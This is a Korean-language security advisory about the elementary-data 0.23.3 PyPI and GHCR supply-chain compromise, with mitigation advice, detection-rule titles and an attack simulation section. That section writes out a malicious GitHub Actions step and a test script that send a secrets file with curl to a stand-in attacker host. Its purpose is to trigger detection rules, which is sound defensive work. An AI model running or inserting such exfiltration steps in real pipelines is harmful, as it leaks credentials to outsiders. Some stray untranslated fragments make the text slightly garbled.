초기 데이터, 위조 GitHub 릴리스를 통해 PyPI와 GHCR에서 손상됨
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
악성 버전의 elementary-data Python 패키지, 버전 0.23.3,가 PyPI에 업로드되었고 일치하는 손상된 컨테이너 이미지가 GitHub Container Registry에 푸시되었습니다. 공격자는 GitHub Actions 워크플로우에 악성 코드를 삽입하고 서명된 릴리스를 위조한 후 워크플로우 토큰을 남용하여 백도어 아티팩트를 게시했습니다. 이 페이로드는 비밀 정보를 수집하고 이를 공격자가 제어하는 도메인으로 유출하도록 설계된 3단계 자격 증명 도난 도구로 작동했습니다. 영향을 받은 패키지를 설치하거나 최신 컨테이너 이미지를 가져온 모든 환경이 손상에 노출되었습니다.
조사
조사 결과, 공격은 워크플로우 스크립트에 직접 삽입된 공개 풀 요청의 주석에서 시작되어 스크립트 인젝션을 가능하게 했습니다. 워크플로우의 GITHUB_TOKEN을 사용하여 공격자는 위조된 릴리스 커밋을 만들고 퍼블리싱 프로세스를 트리거하여 트로이 목마화된 휠 및 Docker 이미지를 배포했습니다. 분석 결과, 악성 .pth 파일은 Base64 래퍼를 디코딩하고 최종 수집 컴포넌트를 해독하여 광범위한 자격 증명을 수집한 후 curl을 통해 사용자 정의 C2 도메인으로 보냈습니다. curl.
완화
프로젝트 메인테이너는 PyPI에서 악성 패키지 버전을 제거하고 GHCR에서 손상된 이미지를 삭제한 후 깨끗한 대체 버전을, 버전 0.23.4를 게시했습니다. StepSecurity는 악성 패키지 버전과 공격자가 제어하는 도메인을 Harden-Runner 블록리스트에 추가하고 풀 요청 실행 중에 패키지를 차단했습니다. 개발자는 패키지 버전 및 이미지 다이제스트를 정확하게 고정하고 부동 태그에 의존하는 것을 피하며 설치된 종속성을 감사하여 예기치 않은 파일을 점검해야 합니다. .pth files.
응답
수비자는 elementary.pth 가 site-packages 내에 있는지를 검색하고 의심스러운 Docker 이미지 다이제스트를 가져온 시스템을 확인해야 합니다. 알려진 C2 도메인에 대한 아웃바운드 연결을 즉시 차단해야 합니다. 보안 팀은 노출된 비밀 자료에 대해 개발자 워크스테이션과 빌드 환경을 스캔하고, 손상된 패키지를 제거하고, 영향을 받은 자격 증명을 회전해야 합니다. CI/CD 파이프라인도 패키지 이력을 검증하고 엄격한 이미지 고정을 시행하도록 업데이트해야 합니다.
공격 흐름
탐지
서드 파티 서비스/도구를 통한 잠재적인 데이터 침투/유출/C2(프록시를 통해)
보기
서드 파티 서비스/도구를 통한 잠재적인 데이터 침투/유출/C2(DNS를 통해)
보기
기본 도구를 통한 원격 파일 업로드/다운로드(커맨드라인을 통해)
보기
IOC (HashSha1) 탐지를 위해: elemental-data PyPI 및 GHCR에서 손상됨: GitHub Actions 스크립트 주입을 통한 위조 릴리스 푸시
보기
GitHub Actions에 대한 스크립트 주입을 통한 악성 데이터 유출 탐지 [리눅스 프로세스 생성]
보기
자격 증명 도용자 포함한 악성 elementary-data 패키지 탐지 [리눅스 파일 이벤트]
보기
## 시뮬레이션 실행
전제조건: 텔레메트리 및 기준선 사전 비행 검사가 통과되어야 합니다.
이유: 이 섹션은 탐지 규칙을 트리거하도록 설계된 적군 기법(TTP)의 정확한 실행을 설명합니다. 명령어와 이야기체는 식별된 TTP를 직접적으로 반영하며 탐지 논리에 의해 예상되는 정확한 텔레메트리 생성을 목표로 합니다.
-
공격 내러티브 및 명령어:
공격자는 CI/CD에 GitHub Actions를 사용하는 리포지토리를 손상시켰습니다. 워크플로우 파일에 악성 단계를 추가했습니다:- name: 데이터 유출 run: | bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"워크플로우가 GitHub Actions 러너에서 실행되면 프로세스 트리는 다음과 같습니다:
sh -c bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"(부모 프로세스)curl --data-binary @/tmp/secret_data http://malicious.example.com/loot(자식 프로세스)
The
auditd2단계 기록은bashandcurl --data-binary가 포함된 명령줄을 포함하여 Sigma 조건을 충족합니다. -
회귀 테스트 스크립트:
#!/usr/bin/env bash # # 탐지 규칙을 트리거해야 하는 악성 GitHub Actions 단계를 시뮬레이션합니다. # 임시 파일을 생성하고, 더미 데이터를 작성한 후 bash에 랩핑된 curl을 통해 유출합니다. set -euo pipefail # 1. 더미 비밀 데이터 생성 tmpfile=$(mktemp /tmp/secret_data.XXXXXX) echo "sensitive_information_$(date +%s)" > "$tmpfile" # 2. 취약 패턴을 사용하여 유출 수행 bash -c "curl --data-binary @$tmpfile http://malicious.example.com/loot" # 3. 테스터를 위한 확인 출력 echo "악성 유출 시뮬레이션 완료; 임시 파일 $tmpfile은 정리에 의해 삭제되어야 합니다." -
정리 명령:
#!/usr/bin/env bash # 시뮬레이션 중에 생성된 임시 파일을 제거합니다 rm -f /tmp/secret_data.* # 선택적으로, 잔여 curl 프로세스를 중지합니다 (필요하지 않아야 함) pkill -f "curl --data-binary" || true